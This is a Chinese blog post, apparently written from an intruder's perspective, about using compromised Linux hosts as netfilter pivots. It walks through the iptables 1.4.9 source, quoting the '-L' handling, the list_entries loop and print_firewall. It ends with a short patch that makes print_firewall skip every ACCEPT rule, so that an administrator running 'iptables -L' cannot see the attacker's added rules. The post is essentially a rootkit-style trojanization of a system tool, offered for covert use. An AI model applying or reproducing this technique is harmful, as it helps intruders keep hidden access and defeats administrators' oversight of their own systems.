linux netfilter(iptables)输出规则的隐藏

最近在写一些关于netfilter作为跳板过程的一些文档，没办法，天然的跳板资源不用就太可惜了，实现起来很简单了，不过要让管理员也无法短时间内发现这台主机已经被我们作为跳板就稍微麻烦点了，看了下国外发布关于linux的rootkit，好像还没有针对这个来隐藏的，只能自己看看netfilter的源代码了。

通过iptables -V获得当前的netfilter版本信息(v1.4.9)，然后从ftp://ftp.netfilter.org/pub/iptables/下载相对应的版本，解压打开文件iptables.c找到1408行

C代码 1408:   case 'L':       //这是iptables –L所显示的规则                 add_command(&command, CMD_LIST,                        CMD_ZERO | CMD_ZERO_NUM, invert); //设置command标志位                if (optarg) chain = optarg;                else if (optind < argc && argv[optind][0] != '-'                    && argv[optind][0] != '!')                    chain = argv[optind++];                if (optind < argc && argv[optind][0] != '-'                   && argv[optind][0] != '!')                    rulenum = parse_rulenumber(argv[optind++]);                break; 

add_command最终返回的command的值，其中CMD_LIST、CMD_ZERO、CMD_ZERO_NUM已经进行了宏定义，得到相关值计算就可以知道返回的command的值

C代码 switch (command) {    //对比command的值来执行    //省略部分代码    case CMD_LIST:    case CMD_LIST|CMD_ZERO:    case CMD_LIST|CMD_ZERO_NUM:        ret = list_entries(chain,                   rulenum,                   options&OPT_VERBOSE,                   options&OPT_NUMERIC,                   options&OPT_EXPANDED,                   options&OPT_LINENUMBERS,                   *handle);        if (ret && (command & CMD_ZERO))            ret = zero_entries(chain,                       options&OPT_VERBOSE, *handle);        if (ret && (command & CMD_ZERO_NUM))            ret = iptc_zero_counter(chain, rulenum, *handle);        break;    //省略部分代码    }   

这里就可以知道我们返回的command值下面干了什么，从上面的代码就可以知道list_entries是返回的输出规则，下面是这个函数的部分代码

C代码 list_entries(const ipt_chainlabel chain, int rulenum, int verbose, int numeric,             int expanded, int linenumbers, struct iptc_handle *handle)    {        //省略部分代码            while (i) {                num++;                if (!rulenum || num == rulenum)  //输出规则                    print_firewall(i,                               iptc_get_target(i, handle),                               num,                               format,                               handle);                i = iptc_next_rule(i, handle);            }        //省略部分代码    }   

这里终于知道了print_firewall就是打印每一条输出规则的函数了，这个函数中我们可以在之前对输入的内容进行判断，然后直接返回上面的while循环中执行下一条，例如下面

C++代码 if(strcmp(targname,"ACCEPT") == 0){          return;    }  

就可以屏蔽掉所有accept的规则了，如此我们就可以在输出规则中隐藏我们自己定义的规则。

标签分类：